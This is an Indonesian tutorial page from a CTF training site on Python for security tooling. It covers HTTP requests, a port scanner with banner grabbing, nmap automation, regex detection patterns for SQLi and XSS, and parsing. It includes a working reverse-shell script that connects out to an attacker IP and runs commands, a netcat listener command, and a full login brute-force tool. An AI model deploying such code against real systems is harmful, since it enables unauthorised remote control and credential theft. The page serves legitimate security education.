TDCTF Academy Logo TDCTF ACADEMY

11.1.2 Python untuk Security

Definisi

Python adalah bahasa pemrograman paling populer di dunia keamanan siber. Library yang kaya, sintaksis yang bersih, dan ekosistem yang luas membuat Python menjadi pilihan utama untuk membuat tools security: port scanner, web scraper, exploit framework, hingga API client untuk integrasi SIEM. Hampir semua penetration tester dan security engineer menguasai Python sebagai daily driver.


1. Persistah Lingkungan

Virtual Environment

# Buat virtual environment
python3 -m venv venv

# Aktifkan
source venv/bin/activate

# Install packages
pip install requests scapy paramiko

# Freeze dependencies
pip freeze > requirements.txt

# Restore dari requirements
pip install -r requirements.txt

Struktur Project Security Tool

project/
├── venv/
├── requirements.txt
├── scanner/
│ ├── __init__.py
│ ├── port_scanner.py
│ └── utils.py
├── exploit/
│ └── brute_force.py
├── logs/
│ └── scan_results.log
└── main.py

2. Requests Library - HTTP Interactions

import requests

# Basic GET
response = requests.get("https://api.target.com/users")
print(response.status_code)
print(response.json())

# GET dengan headers
headers = {
"User-Agent": "Mozilla/5.0",
"Authorization": "Bearer token_here"
}
response = requests.get("https://api.target.com/admin", headers=headers)

# POST dengan data
data = {"username": "admin", "password": "test123"}
response = requests.post("https://target.com/login", data=data)

# Session - cookie persistence
session = requests.Session()
session.post("https://target.com/login", data={"user": "admin", "pass": "secret"})
response = session.get("https://target.com/dashboard")

# Timeout & error handling
try:
response = requests.get("https://target.com", timeout=10)
response.raise_for_status()
except requests.exceptions.Timeout:
print("Request timeout")
except requests.exceptions.HTTPError as e:
print(f"HTTP error: {e}")
except requests.exceptions.ConnectionError:
print("Connection failed")

Web Scraper untuk Recon

import requests
from bs4 import BeautifulSoup
import re

def scrape_links(url):
"""Ekstrak semua link dari halaman untuk reconnaissance."""
try:
response = requests.get(url, timeout=10)
soup = BeautifulSoup(response.text, "html.parser")

links = set()
for a_tag in soup.find_all("a", href=True):
href = a_tag["href"]
if href.startswith("http"):
links.add(href)
elif href.startswith("/"):
links.add(url + href)

return links

except Exception as e:
print(f"Error scraping {url}: {e}")
return set()

# Demo
target = "https://example.com"
all_links = scrape_links(target)
print(f"Ditemukan {len(all_links)} link:")
for link in sorted(all_links)[:10]:
print(f" - {link}")

3. Socket Programming

Port Scanner Dasar

import socket
import threading
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
"""Scan satu port pada target."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
sock.close()
return port if result == 0 else None
except:
return None

def port_scanner(host, start_port=1, end_port=1024, threads=50):
"""Multi-threaded port scanner."""
open_ports = []

with ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(scan_port, host, port)
for port in range(start_port, end_port + 1)]

for future in futures:
result = future.result()
if result:
open_ports.append(result)

return sorted(open_ports)

# Demo
host = "192.168.1.1"
ports = port_scanner(host, 1, 1000)
print(f"Open ports on {host}: {ports}")

# Banner grabbing
def grab_banner(host, port):
"""Ambil banner service dari port terbuka."""
try:
sock = socket.socket()
sock.settimeout(5)
sock.connect((host, port))
banner = sock.recv(1024).decode().strip()
sock.close()
return banner
except:
return "No banner"

for port in ports:
banner = grab_banner(host, port)
print(f"Port {port}: {banner}")

Reverse Shell Sederhana

import socket
import subprocess
import os

# ATTENTION: Hanya untuk lab/practice - jangan digunakan illegal!
def reverse_shell(attacker_ip, port):
"""Simple reverse shell - educational purpose only."""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((attacker_ip, port))

while True:
command = s.recv(1024).decode()
if command.lower() == "exit":
break

output = subprocess.run(command, shell=True,
capture_output=True, text=True)
s.send(output.stdout.encode() + output.stderr.encode())

s.close()

4. Subprocess - System Commands

import subprocess
import shlex

# Run command - capture output
result = subprocess.run(["nmap", "-sV", "192.168.1.1"],
capture_output=True, text=True, timeout=300)
print(result.stdout)

# Shell=True mode (hati-hati dengan injection)
result = subprocess.run("grep Failed /var/log/auth.log",
shell=True, capture_output=True, text=True)

# Interactive command dengan pipe
process = subprocess.Popen(
["nc", "-lvnp", "4444"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)

# Eksekusi nmap paralel
def scan_targets(targets):
"""Scan multiple targets dengan subprocess."""
processes = []
for target in targets:
proc = subprocess.Popen(
["nmap", "-sS", "-p", "22,80,443", target],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
processes.append((target, proc))

for target, proc in processes:
stdout, stderr = proc.communicate()
print(f"[{target}] Done")
if stdout:
print(stdout[:500])

5. Argparse - CLI Tools

import argparse

def create_parser():
"""Buat argument parser untuk security tool CLI."""
parser = argparse.ArgumentParser(
description="Security Scanner Tool v1.0",
epilog="Contoh: python scanner.py -t 192.168.1.1 -p 1-1000"
)

parser.add_argument("-t", "--target", required=True,
help="Target IP atau domain")
parser.add_argument("-p", "--ports", default="1-1024",
help="Range port (contoh: 80,443 atau 1-1000)")
parser.add_argument("-o", "--output", help="File output")
parser.add_argument("-v", "--verbose", action="store_true",
help="Verbose mode")
parser.add_argument("--timeout", type=int, default=2,
help="Socket timeout in seconds")

return parser

def parse_ports(port_string):
"""Parse port string menjadi list."""
ports = []
for part in port_string.split(","):
if "-" in part:
start, end = part.split("-")
ports.extend(range(int(start), int(end) + 1))
else:
ports.append(int(part))
return ports

# Usage
if __name__ == "__main__":
parser = create_parser()
args = parser.parse_args()
ports = parse_ports(args.ports)
print(f"Scanning {args.target} on {len(ports)} ports...")

if args.verbose:
print(f"Ports: {ports[:20]}...")
print(f"Timeout: {args.timeout}s")
print(f"Output: {args.output or 'stdout'}")

6. Regex (re Module)

import re

# Pattern umum untuk security
pattern_ip = r"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b"
pattern_email = r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
pattern_url = r"https?://[\\\\w./?=&-]+"
pattern_sqli = r"('|\\\"|--|#|union|select|insert|drop)"
pattern_xss = r"(<script|<img|onerror|onload|alert\()"

# Ekstrak IP dari file log
def extract_ips(log_content):
return re.findall(pattern_ip, log_content)

# Deteksi SQL injection attempt
def detect_sqli(payload):
return bool(re.search(pattern_sqli, payload, re.IGNORECASE))

# Validasi IP
def is_valid_ip(ip):
return bool(re.match(pattern_ip + "$", ip))

# Demo
log = "192.168.1.1 - - [10/Jan/2024:12:00:01] GET /admin?id=1' OR '1'='1"
ips = extract_ips(log)
print(f"IP ditemukan: {ips}")
print(f"SQLi detected: {detect_sqli(log)}")

7. File I/O, JSON/XML Parsing

import json
import csv
import xml.etree.ElementTree as ET

# Baca file teks
with open("targets.txt", "r") as f:
targets = [line.strip() for line in f if line.strip()]

# Parse JSON
with open("nmap_result.json", "r") as f:
data = json.load(f)
for host in data["nmaprun"]["host"]:
ip = host["address"]["addr"]
print(f"Host: {ip}")

# Parse CSV
with open("vulnerabilities.csv", "r") as f:
reader = csv.DictReader(f)
for row in reader:
print(f"{row['host']} - {row['port']} - {row['vuln']}")

# Parse XML (nmap output)
def parse_nmap_xml(xml_file):
tree = ET.parse(xml_file)
root = tree.getroot()

for host in root.findall(".//host"):
ip = host.find(".//address")
ports = host.findall(".//port")

for port in ports:
port_id = port.get("portid")
state = port.find("state").get("state")
if state == "open":
print(f"IP: {ip.get('addr')}:{port_id} OPEN")

# Write output
def save_json_report(data, filename):
with open(filename, "w") as f:
json.dump(data, f, indent=4)
print(f"Report saved: {filename}")

8. Threading untuk Performance

import threading
from queue import Queue
import time

class ThreadedScanner:
"""Threaded scanner dengan queue untuk task management."""

def __init__(self, target, ports, threads=100):
self.target = target
self.ports = ports
self.threads = threads
self.queue = Queue()
self.results = []
self.lock = threading.Lock()

def worker(self):
"""Worker thread - ambil port dari queue dan scan."""
while not self.queue.empty():
port = self.queue.get()
result = scan_port(self.target, port)
with self.lock:
if result:
self.results.append(result)
self.queue.task_done()

def run(self):
"""Jalankan threaded scanner."""
for port in self.ports:
self.queue.put(port)

# Start threads
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.daemon = True
t.start()

# Wait for all
self.queue.join()
return sorted(self.results)

# Usage
scanner = ThreadedScanner("192.168.1.1", range(1, 1001), threads=200)
start = time.time()
results = scanner.run()
elapsed = time.time() - start
print(f"Found {len(results)} open ports in {elapsed:.2f}s")
print(f"Ports: {results}")

9. Contoh Tools Lengkap

API Client untuk Brute Force

#!/usr/bin/env python3
# brute-force-login.py

import requests
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor

class BruteForceTool:
"""Simple brute force tool untuk login form."""

def __init__(self, target, username_field, password_field):
self.target = target
self.username_field = username_field
self.password_field = password_field
self.session = requests.Session()
self.found = False
self.success_response = None

def attempt(self, username, password):
"""Coba satu kombinasi login."""
if self.found:
return None

try:
data = {
self.username_field: username,
self.password_field: password
}
response = self.session.post(
self.target, data=data, timeout=5
)

# Deteksi sukses - cari keyword di response
if "invalid" not in response.text.lower() and \
"wrong" not in response.text.lower():
self.found = True
self.success_response = response
return (username, password)

except Exception as e:
print(f"Error: {e}")

return None

def run(self, usernames, passwords, threads=10):
"""Jalankan brute force dengan multiple threads."""
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = []
for user in usernames:
for pwd in passwords:
futures.append(
executor.submit(self.attempt, user, pwd)
)

for future in futures:
result = future.result()
if result:
print(f"[SUCCESS] {result[0]}:{result[1]}")
return result

print("No valid credentials found")
return None

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Login Brute Forcer")
parser.add_argument("-t", "--target", required=True, help="Login URL")
parser.add_argument("-u", "--usernames", required=True, help="User file")
parser.add_argument("-p", "--passwords", required=True, help="Pass file")
args = parser.parse_args()

with open(args.usernames) as f:
usernames = [l.strip() for l in f]

with open(args.passwords) as f:
passwords = [l.strip() for l in f]

tool = BruteForceTool(args.target, "username", "password")
tool.run(usernames, passwords)

10. Best Practices

Type Hints & Docstrings

from typing import List, Optional, Tuple

def scan_network(ip_range: str, ports: List[int],
timeout: int = 2) -> List[Tuple[str, int]]:
"""Scan network range untuk port tertentu.

Args:
ip_range: CIDR notation (contoh: 192.168.1.0/24)
ports: List port to scan
timeout: Socket timeout in seconds

Returns:
List of (ip, port) tuples for open ports
"""
results: List[Tuple[str, int]] = []
return results

Error Handling Pattern

import logging

logging.basicConfig(
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
filename="scanner.log"
)

def safe_scan(host: str, port: int) -> Optional[int]:
"""Scan dengan error handling lengkap."""
try:
# Kode utama
result = scan_port(host, port)
return result
except socket.timeout:
logging.warning(f"Timeout on {host}:{port}")
return None
except ConnectionRefusedError:
return None
except Exception as e:
logging.error(f"Unexpected error on {host}:{port}: {e}")
return None
finally:
# Cleanup resources
pass

Checklist Best Practices

  1. Gunakan virtual environment - jangan install global
  2. Type hints untuk readability dan IDE support
  3. Error handling - jangan biarkan exception tidak tertangani
  4. Timeout pada semua network calls - hindari hanging
  5. Logging daripada print untuk production tools
  6. Jangan hardcode credentials - gunakan env vars atau config file
  7. Gunakan with statement untuk resource management (file, socket)
  8. Thread pool untuk parallel tasks - jangan raw thread
  9. Test di lab - jangan jalankan tools di production tanpa verifikasi
  10. Dokumentasi - setiap fungsi harus punya docstring
PADA HALAMAN INI